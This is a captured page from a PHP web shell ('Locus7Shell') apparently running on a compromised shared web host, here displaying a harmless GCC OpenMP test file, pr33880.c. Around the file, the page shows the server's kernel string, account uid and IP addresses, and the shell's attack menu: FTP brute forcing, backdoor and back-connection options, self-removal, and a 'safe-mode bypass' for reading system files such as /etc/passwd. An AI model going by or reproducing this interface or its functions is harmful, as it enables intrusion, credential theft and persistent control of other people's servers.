Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/libgomp/testsuite/libgomp.c/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr33880.c (1.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR middle-end/33880 */
/* { dg-do run } */

extern void abort (void);

void
test1 (void)
{
  int i = 0, j = 0;
  void bar (void)
  {
    i++;
    j++;
  }
  bar ();
  #pragma omp parallel for num_threads(4)
    for (i = 0; i < 100; i++)
      #pragma omp atomic
    j += 1;
  if (j != 101)
    abort ();
  #pragma omp parallel for lastprivate(i) num_threads(2)
    for (i = 0; i < 100; i++)
      #pragma omp atomic
    j += 1;
  if (i != 100)
    abort ();
  i = 3;
  bar ();
  if (j != 202)
    abort ();
  if (i != 4)
    abort ();
}

void
test2 (void)
{
  int i = -1, j = 99, k, l = 9, m = 0;
  void bar (void)
  {
    i++;
    j++;
    l++;
    m++;
  }
  bar ();
  #pragma omp parallel for num_threads(4)
    for (k = i; k < j; k += l)
      #pragma omp atomic
    m += 1;
  bar ();
  if (i != 1 || j != 101 || l != 11 || m != 12)
    abort ();
}

void
test3 (void)
{
  int i, j, k, l, m;
  void bar (void)
  {
  #pragma omp parallel for num_threads(4)
    for (i = j; i < k; i += l)
      #pragma omp atomic
        m += 1;
  }
  void baz (void)
  {
  #pragma omp parallel for num_threads(2) lastprivate(i)
    for (i = j; i < k * 2; i += l / 2)
      #pragma omp atomic
        m += 1;
  }
  i = 7;
  j = 0;
  k = 100;
  l = 2;
  m = 0;
  bar ();
  if (j != 0 || k != 100 || l != 2 || m != 50)
    abort ();
  baz ();
  if (i != 200 || j != 0 || k != 100 || l != 2 || m != 250)
    abort ();
}

void
test4 (void)
{
  int i, j, k, l, m = 0;
  int foo (void)
  {
    return j;
  }
  int bar (void)
  {
    return k;
  }
  int baz (void)
  {
    return l;
  }
  j = 0;
  k = 1000;
  l = 2;
  #pragma omp parallel for num_threads(8) lastprivate(i)
  for (i = foo (); i < bar (); i += baz ())
    #pragma omp atomic
      m += 1;
  if (i != 1000 || m != 500 || j != 0 || k != 1000 || l != 2)
    abort ();
}

int
main (void)
{
  test1 ();
  test2 ();
  test3 ();
  test4 ();
  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--